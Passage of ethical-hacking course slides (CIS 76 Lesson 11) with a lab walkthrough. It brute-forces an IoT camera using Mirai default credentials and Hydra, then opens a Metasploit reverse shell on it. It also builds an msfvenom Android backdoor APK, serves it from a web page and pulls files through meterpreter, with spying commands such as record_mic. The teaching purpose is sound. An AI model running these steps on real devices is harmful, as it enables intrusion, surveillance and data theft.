pass
password
realtek
root
service
smcadmin
supervisor
support
system
tech
ubnt
user
vizxv
xc3511
xmhdipc
zlxx.
Zte521

UsernamesPasswords

00000000
1111
1111111
1234
12345
123456
54321
666666
7ujMko0admin
7ujMko0vizxv
888888
admin
admin1234
Administrator admin
anko
default
dreambox
fucker
guest
hi3518

Turning the Mirai credentials into worklist for Hydra
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root@EH-Kali-99:~# hydra -L mirai-user-wl -P mirai-pw-wl -e ns  -f -V 192.168.72.246 http-get /

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, 

or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2017-11-06 15:40:50

[DATA] max 16 tasks per 1 server, overall 16 tasks, 675 login tries (l:15/p:45), ~43 tries per task

[DATA] attacking http-get://192.168.72.246:80//

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "666666" - 1 of 675 [child 0] (0/0)

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "" - 2 of 675 [child 1] (0/0)

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "00000000" - 3 of 675 [child 2] (0/0)

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "1111" - 4 of 675 [child 3] (0/0)

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "1111111" - 5 of 675 [child 4] (0/0)

[ATTEMPT] target 192.168.72.246 - login "666666" - pass "1234" - 6 of 675 [child 5] (0/0)

Hydra brute force using Mirai Credentials

[ATTEMPT] target 192.168.72.246 - login "admin" - pass "888888" - 103 of 675 [child 6] (0/0)

[ATTEMPT] target 192.168.72.246 - login "admin" - pass "admin1234" - 105 of 675 [child 3] (0/0)

[ATTEMPT] target 192.168.72.246 - login "admin" - pass "Administrator admin" - 106 of 675 [child 4] 

(0/0)

[ATTEMPT] target 192.168.72.246 - login "admin" - pass "anko" - 107 of 675 [child 7] (0/0)

[ATTEMPT] target 192.168.72.246 - login "admin" - pass "default" - 108 of 675 [child 8] (0/0)

[80][http-get] host: 192.168.72.246   login: admin

[STATUS] attack finished for 192.168.72.246 (valid pair found)

1 of 1 target successfully completed, 1 valid password found

Hydra (http://www.thc.org/thc-hydra) finished at 2017-11-06 15:40:53

root@EH-Kali-99:~# 

hydra -L mirai-user-wl -P mirai-pw-wl -e ns  -f -V 192.168.72.246 http-get /

snipped

Default username = admin, default password is blank for DCS-931L
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BusyBox v1.12.1 (2014-02-11 18:26:45 CST) multi-call binary
Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko
and others. Licensed under GPLv2.
See source distribution for full notice.

Usage: busybox [function] [arguments]...
or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix
utilities into a single executable.  Most people will create a
link to busybox for each function they wish to use and BusyBox
will act like whatever it was invoked as!

Currently defined functions:
[, [[, arp, arping, ash, brctl, cat, chmod, chpasswd, cp, date,
echo, expr, free, ftpd, ftpputimage, ftpputvideo, grep, halt,
ifconfig, inetd, init, init, insmod, kill, killall, login, ls,
lsmod, mdev, mkdir, mknod, mount, ping, ping6, poweroff, printf,
ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, syslogd, telnetd,
test, top, touch, udhcpc, umount, uptime, vi, zcip

BusyBox
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msf > use exploit/linux/http/dlink_dcs

use exploit/linux/http/dlink_dcs931l_upload

use exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution

msf > use exploit/linux/http/dlink_dcs931l_upload 

msf exploit(dlink_dcs931l_upload) > set RHOST 192.168.72.246

RHOST => 192.168.72.246

msf exploit(dlink_dcs931l_upload) > set payload linux/mipsle/shell_reverse_tcp

payload => linux/mipsle/shell_reverse_tcp

msf exploit(dlink_dcs931l_upload) > set LHOST 192.168.72.244

LHOST => 192.168.72.244

msf exploit(dlink_dcs931l_upload) > exploit

[*] Started reverse TCP handler on 192.168.72.244:4444 

[+] Payload uploaded successfully

[+] Stager uploaded successfully

[+] Payload executed successfully

[*] Command shell session 1 opened (192.168.72.244:4444 -> 192.168.72.246:4168) at 2017-11-06 17:57:23 -0800

[+] Deleted /tmp/.Pq00Gov

817914802

kuyvTJjrPEGkDhXSuKTxgfRPSRyojSol

true

jztbsGJeMpjqGBEkpqxMSJoKAVZbBBza

MuxiJgLBYjaxmQbCsRoPakzbUCVvlsjJ

BxoizhEQxKPqtppPcCbPHDlbniFcjaid

Repeat the Metasploit attack
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ls -l /

drwxr-xr-x    2 501      501             0 bin

drwxr-xr-x    2 0        0               0 media

drwxr-xr-x   10 0        0               0 sys

drwxrwxr-x    3 501      501             0 home

drwxrwxr-x    2 501      501             0 mnt

drwxrwxr-x    3 501      501             0 dev

lrwxrwxrwx 1 501      501            11 init -> bin/busybox

drwxrwxr-x    2 501      501             0 sbin

drwxr-xr-x    2 0        0               0 etc

drwxr-xr-x    3 0        0               0 tmp

drwxr-xr-x    4 0        0               0 var

drwxr-xr-x    4 501      501             0 lib

drwxrwxr-x    2 501      501             0 mydlink

drwxrwxr-x   10 501      501             0 etc_ro

drwxrwxr-x    5 501      501             0 usr

dr-xr-xr-x   51 0        0               0 proc

-rw-r--r-- 1 0        0             940 usb3g.log

BusyBox

Note init is symbolically liked to bin/busybox
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ps

PID USER       VSZ STAT COMMAND

1 admin     2092 S    init

2 admin        0 SWN  [ksoftirqd/0]

3 admin        0 SW<  [events/0]

4 admin        0 SW<  [khelper]

5 admin        0 SW<  [kthread]

28 admin        0 SW<  [kblockd/0]

31 admin        0 SW<  [khubd]

45 admin        0 SW<  [kswapd0]

46 admin        0 SW   [pdflush]

47 admin        0 SW   [pdflush]

48 admin        0 SW<  [aio/0]

49 admin        0 SW<  [cifsoplockd]

50 admin        0 SW<  [cifsdnotifyd]

342 admin     2092 R    //bin/sh

547 admin     2088 S    sleep 5 

550 admin     2092 R    ps

608 admin        0 SW   [mtdblockd]

690 admin     1380 S    nvram_daemon

930 admin     1668 S    videomon

1007 admin     1168 S    lld2d br0 

1033 admin     2096 S    /bin/sh

1235 admin     1848 S    alphapd

1251 admin     1980 S    udev

1254 admin     1980 S    udev

1259 admin     1980 S    udev

1260 admin     1980 S    udev

1266 admin     1480 S    schedule 

1269 admin     1520 S    lanconfig

1270 admin     1408 S    tftpupload

1272 admin     1368 S    mydlinkevent

1278 admin     1244 S    mDNSResponder 192.168.72.246 DCS-931L_095198 DCS-931L

1341 admin     2088 S    udhcpc -i br0 -s /sbin/udhcpc.sh -p /var/run/udhcpc.p

1570 admin     1704 S    pcmcmd -s -q 11025 

1572 admin     4480 S    h264 

1851 admin     1468 S    /mydlink/dcp -i br0 -m DCS-931L 

1854 admin     3348 S    /mydlink/signalc

1856 admin     4564 S    uvc_stream -b -m 0 -g 5 -e 5 

1858 admin     2096 S    /bin/sh /mydlink/mydlink-watch-dog.sh 

BusyBox

init is PID 1 and it is 
really busybox
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busybox

BusyBox v1.12.1 (2014-02-11 18:26:45 CST) multi-call binary

Copyright (C) 1998-2008 Erik Andersen, Rob Landley, Denys Vlasenko

and others. Licensed under GPLv2.

See source distribution for full notice.

Usage: busybox [function] [arguments]...

or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix

utilities into a single executable.  Most people will create a

link to busybox for each function they wish to use and BusyBox

will act like whatever it was invoked as!

Currently defined functions:

[, [[, arp, arping, ash, brctl, cat, chmod, chpasswd, cp, date,

echo, expr, free, ftpd, ftpputimage, ftpputvideo, grep, halt,

ifconfig, inetd, init, init, insmod, kill, killall, login, ls,

lsmod, mdev, mkdir, mknod, mount, ping, ping6, poweroff, printf,

ps, pwd, reboot, rm, rmmod, route, sed, sh, sleep, syslogd, telnetd,

test, top, touch, udhcpc, umount, uptime, vi, zcip

BusyBox

BusyBox is installed and it contains a telnet server
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telnetd -p 23

BusyBox

Lets enable Telnet service on port 23
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root@EH-Kali-99:~# telnet 192.168.72.246 23

Trying 192.168.72.246...

Connected to 192.168.72.246.

Escape character is '^]'.

(none) login: admin

Password: 

BusyBox v1.12.1 (2014-02-11 18:26:45 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

# ls

bin        home       init tmp mydlink proc

media      mnt sbin var etc_ro usb3g.log

sys        dev        etc lib        usr

# pwd

/

BusyBox

Lets enable Telnet service on port 23
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# mount

rootfs on / type rootfs (rw)

proc on /proc type proc (rw)

none on /var type ramfs (rw)

none on /etc type ramfs (rw)

none on /tmp type ramfs (rw)

none on /media type ramfs (rw)

none on /sys type sysfs (rw)

none on /dev/pts type devpts (rw)

none on /proc/bus/usb type usbfs (rw)

# 

BusyBox

Let's look at the mount points for the file system
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# cat /etc/passwd

admin:XdoWLHHcT4Tf.:0:0:Adminstrator:/:/bin/sh

BusyBox

Note /etc/passwd has the encrypted password
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# vi myscript

# cat myscript

#!/bin/sh

echo I have hacked into the device

ping -c1 8.8.8.8

date

exit

#

# chmod +x myscript

#

# ./myscript

I have hacked into the device

PING 8.8.8.8 (8.8.8.8): 56 data bytes

64 bytes from 8.8.8.8: seq=0 ttl=58 time=24.424 ms

--- 8.8.8.8 ping statistics ---

1 packets transmitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 24.424/24.424/24.424 ms

Wed Jan 15 02:07:44 UTC 2014

# 

BusyBox

I can create and execute scripts now!
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Hacking an 
Android Device
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Shutdown all:

EH-WinXP VMs
EH-OWASP VMs
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Part 1

EH-pfSense-xx

Verify DHCP
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From Kali, browse to your EH-pfSense VM and login.

Under the Service menu, select DHCP Server.

EH-pfSense-xx
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Set the DHCP range from 10.76.xx.50 to 10.76.xx.99, 
where xx is your pod number.

EH-pfSense-xx
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To activate your changes click the Save 
button at the bottom of the window.

EH-pfSense-xx
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Part 2

EH-Lolli-xx

Setup, snapshot, and 

test
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Android-x86 Project

Android-x86 ISOs available here

http://www.android-x86.org/
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http://www.android-x86.org/download

Android-x86 Project

To make a ESXi VM use 1GB RAM, E1000 adapter, and an IDE hard drive.  Make 
100MB SDA partition for grub and boot files and a second SDB partition for 
everything else. Install Android-x86 on the second partition.  Be sure to make 
the first partition bootable!

The Android 5.5 Lollipop release works fine as an ESXi VM

http://www.android-x86.org/download


CIS 76 - Lesson 11

158

Part 3

EH-Lolli-xx

Obtain some data 
(to exfiltrate)
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EH-Lolli-xx
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EH-Lolli-xx
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EH-Lolli-xx
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EH-Lolli-xx
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EH-Lolli-xx
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164Navigate to Internal Storage in the File Manager App

EH-Lolli-xx
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EH-Lolli-xx
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EH-Lolli-xx

Verify you downloaded a picture
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Part 4

EH-Kali-xx

Create backdoor 
payload
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msfvenom -l | grep droid

msfvenom
• Is a payload generator and encoder. 
• It replaces the older msfpayload and msfencode tools.

EH-Kali-xx

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

https://www.offensive-security.com/metasploit-unleashed/msfvenom/
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root@eh-kali-05:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=10.76.5.150 LPORT=4444 R > backdoor.apk

No platform was selected, choosing Msf::Module::Platform::Android from the payload

No Arch selected, selecting Arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 9487 bytes

root@eh-kali-05:~#

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.76.5.150 LPORT=4444 R > backdoor.apk

msfvenom
• is a payload generator and encoder. 
• It replaces the older msfpayload and msfencode tools.

EH-Kali-xx

This creates a "back door" payload for Android.  When it runs it will 
connect back to EH-Kali-05 in Pod 5 at 10.76.5.150 using port 4444.

https://www.offensive-security.com/metasploit-unleashed/msfvenom/

https://www.offensive-security.com/metasploit-unleashed/msfvenom/
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Part 5

EH-Kali-xx

Make a website
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EH-Kali-xx

Build a website to distribute the "backdoor" payload 

cd /var/www/html

scp -r xxxxx76@opus-ii:/home/cis76/depot/webpages/* .

mkdir files

cp /root/backdoor.apk files/

ls files
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EH-Kali-xx

Create a files directory for the payload file then set permissions.

Edit index.html and add this line:

<p>Please download this malicious file and install it: <a 

href="files/backdoor.apk">backdoor.apk</a></p>
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EH-Kali-xx

Start and verify the web service on EH-Kali

systemctl start apache2

systemctl status apache2
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EH-Kali-xx

Test your website on EH-Kali by browsing to localhost
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Part 6

EH-Kali-xx

Exploit Android
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cd

systemctl start postgresql

msfdb init

msfconsole

Start Metasploit

EH-Kali-xx
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use multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 10.76.5.150

set lport 4444

exploit

Set up a handler to listen for the "backdoor" payload  on the 
Android to connect back.

EH-Kali-xx
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Part 7

EH-Lolli-xx

Install malicious 
"backdoor" payload



CIS 76 - Lesson 11

179Select the browser

EH-Lolli-xx
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Drag from the top of the window down to reveal the 
downloaded file. Select it for installation.
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Enable installation from unknown sources then select Home
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Select the All Apps icon
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Select File Manager



CIS 76 - Lesson 11

186Select Download folder
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Part 8

EH-Kali-xx

Exfiltrate image file
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Once the backdoor app is opened on the Victim's Android we get a session on EH-Kali.

EH-Kali-xx
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Connect to the new session

EH-Kali-xx

sessions -l

session -i 1
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meterpreter > geolocate

[-] geolocate: Operation failed: 1

meterpreter > dump_sms

[*] No sms messages were found!

meterpreter > webcam_stream

[-] Target does not have a webcam

meterpreter > record_mic

[*] Starting...

[*] Stopped

Audio saved to: /root/DqSWstCd.wav

meterpreter >

geolocate

dump_sms

webcam_stream

record_mic

These commands don't appear to work on the VM.  

They do work on real Android phones though.  See examples here: 

EH-Kali-xx

http://resources.infosecinstitute.com/lab-android-exploitation-with-kali/

http://resources.infosecinstitute.com/lab-android-exploitation-with-kali/
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meterpreter > sysinfo

Computer    : localhost

OS          : Android 5.1.1 - Linux 4.0.9-android-x86+ (i686)

Meterpreter : java/android

meterpreter >

sysinfo

EH-Kali-xx
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meterpreter > ipconfig

Interface  1

============

Name         : ip6tnl0 - ip6tnl0

Hardware MAC : 00:00:00:00:00:00

Interface  2

============

Name         : lo - lo

Hardware MAC : 00:00:00:00:00:00

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ::

Interface  3

============

Name         : sit0 - sit0

Hardware MAC : 00:00:00:00:00:00

Interface  4

============

Name         : eth0 - eth0

Hardware MAC : 00:50:56:af:78:28

IPv4 Address : 10.76.5.120

IPv4 Netmask : 255.0.0.0

IPv6 Address : fe80::250:56ff:feaf:7828

IPv6 Netmask : ::

meterpreter >

ipconfig EH-Kali-xx
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meterpreter > pwd

/data/data/com.metasploit.stage/files

meterpreter >

pwd

EH-Kali-xx
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meterpreter > cd /

meterpreter > ls

Listing: /

==========

Mode              Size    Type  Last modified              Name

---- ---- ---- ------------- ----

40444/r--r--r-- 0       dir 2016-11-06 15:05:08 -0800  acct

40000/--------- 80      dir 2016-11-06 15:05:20 -0800  cache

0000/--------- 0       fif 1969-12-31 16:00:00 -0800  charger

40000/--------- 40      dir 2016-11-06 15:05:08 -0800  config

40444/r--r--r-- 0       dir 2016-11-06 15:05:05 -0800  d

40000/--------- 4096    dir 2016-11-06 15:01:27 -0800  data

100444/r--r--r-- 320     fil   2016-11-06 15:05:06 -0800  default.prop

40444/r--r--r-- 3840    dir 2016-11-06 15:05:10 -0800  dev

40444/r--r--r-- 4096    dir 2015-10-06 09:52:36 -0700  etc

100444/r--r--r-- 11166   fil   2016-11-06 15:05:06 -0800  file_contexts

100000/--------- 342     fil   2016-11-06 15:05:06 -0800  fstab.android_x86

100000/--------- 850420  fil   2016-11-06 15:05:06 -0800  init

100000/--------- 5666    fil   2016-11-06 15:05:06 -0800  init.android_x86.rc

100000/--------- 1022    fil   2016-11-06 15:05:06 -0800  init.bluetooth.rc

100000/--------- 944     fil   2016-11-06 15:05:06 -0800  init.environ.rc

100000/--------- 21746   fil   2016-11-06 15:05:06 -0800  init.rc

100000/--------- 588     fil   2016-11-06 15:05:06 -0800  init.superuser.rc

100000/--------- 1927    fil   2016-11-06 15:05:06 -0800  init.trace.rc

100000/--------- 3885    fil   2016-11-06 15:05:06 -0800  init.usb.rc

100000/--------- 301     fil   2016-11-06 15:05:06 -0800  init.zygote32.rc

40444/r--r--r-- 8192    dir 2015-10-06 12:32:34 -0700  lib

40444/r--r--r-- 160     dir 2016-11-06 15:05:08 -0800  mnt

40444/r--r--r-- 0       dir 2016-11-06 15:05:05 -0800  proc

100444/r--r--r-- 2771    fil   2016-11-06 15:05:06 -0800  property_contexts

40000/--------- 140     dir 2016-11-06 15:05:06 -0800  sbin

40666/rw-rw-rw- 4096    dir 2016-11-06 14:44:45 -0800  sdcard

100444/r--r--r-- 471     fil   2016-11-06 15:05:06 -0800  seapp_contexts

100444/r--r--r-- 76      fil   2016-11-06 15:05:06 -0800  selinux_version

100444/r--r--r-- 118329  fil   2016-11-06 15:05:06 -0800  sepolicy

100444/r--r--r-- 9438    fil   2016-11-06 15:05:06 -0800  service_contexts

40444/r--r--r-- 180     dir 2016-11-06 15:05:08 -0800  storage

40444/r--r--r-- 0       dir 2016-11-06 15:05:06 -0800  sys

40444/r--r--r-- 4096    dir 1969-12-31 16:00:00 -0800  system

100444/r--r--r-- 382     fil   2016-11-06 15:05:06 -0800  ueventd.android_x86.rc

100444/r--r--r-- 4314    fil   2016-11-06 15:05:06 -0800  ueventd.rc

40444/r--r--r-- 4096    dir 2015-10-06 09:47:38 -0700  vendor

100000/--------- 113     fil   2016-11-06 15:05:08 -0800  x86.prop

meterpreter >

cd /

ls EH-Kali-xx
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meterpreter > cd /sdcard

meterpreter > ls

Listing: /storage/emulated/legacy

=================================

Mode             Size  Type  Last modified              Name

---- ---- ---- ------------- ----

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Alarms

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:06 -0700  Android

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  DCIM

40666/rw-rw-rw- 4096  dir 2016-11-06 15:28:29 -0800  Download

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Movies

40666/rw-rw-rw- 4096  dir 2016-11-05 14:39:59 -0700  Music

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Notifications

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Pictures

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Podcasts

40666/rw-rw-rw- 4096  dir 2016-11-05 14:40:00 -0700  Ringtones

40666/rw-rw-rw- 4096  dir 2016-11-06 14:44:45 -0800  storage

meterpreter >

cd /sdcard

ls

EH-Kali-xx
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cd Download

ls

EH-Kali-xx
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pwd

ls

download images.jpg

EH-Kali-xx
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EH-Kali-xx

View the exfiltrated image



CIS 76 - Lesson 11

Assignment

204



CIS 76 - Lesson 11

205

Lab 9

Hack an Android phone
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Next Class

Assignment: Check the Calendar Page on the web site to 
see what is due next week.

Quiz questions for next class:

• With respect to embedded systems, what is an RTOS?

• Why is UPnP a security issue for IoT devices?

• What does msfvenom generate and encode?
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